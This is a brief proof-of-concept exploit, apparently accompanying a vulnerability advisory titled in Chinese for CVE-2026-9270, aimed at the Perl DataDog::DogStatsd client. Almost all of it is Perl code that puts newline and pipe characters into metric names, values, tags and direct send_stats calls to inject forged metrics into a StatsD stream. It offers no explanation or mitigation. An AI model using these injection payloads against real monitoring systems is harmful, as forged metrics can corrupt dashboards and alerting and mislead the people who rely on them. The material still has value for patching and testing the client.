CVE-2026-9270 DataDog::DogStatsd Perl度量注入漏洞

use DataDog::DogStatsd; my $statsd = DataDog::DogStatsd->new( host => 'localhost', port => 8125, ); # Metric name injection - inject newline to change prefix my $malicious_stat = "\nhack:1|c"; $statsd->increment($malicious_stat); # Value injection - inject additional metrics my $malicious_value = "1|c\nmalicious.metric:999|g"; $statsd->increment($malicious_value, 1); # Tag injection - use pipe and newline to inject metrics my $malicious_tag = "user\nfake.metric:100|c"; $statsd->increment('test', 1, ["tag1:$malicious_tag"]); # Direct send_stats exploitation my %sample_metric = ( stat => "\nfake.metric:1|c", value => 1, type => 'c', ); $statsd->send_stats(%sample_metric);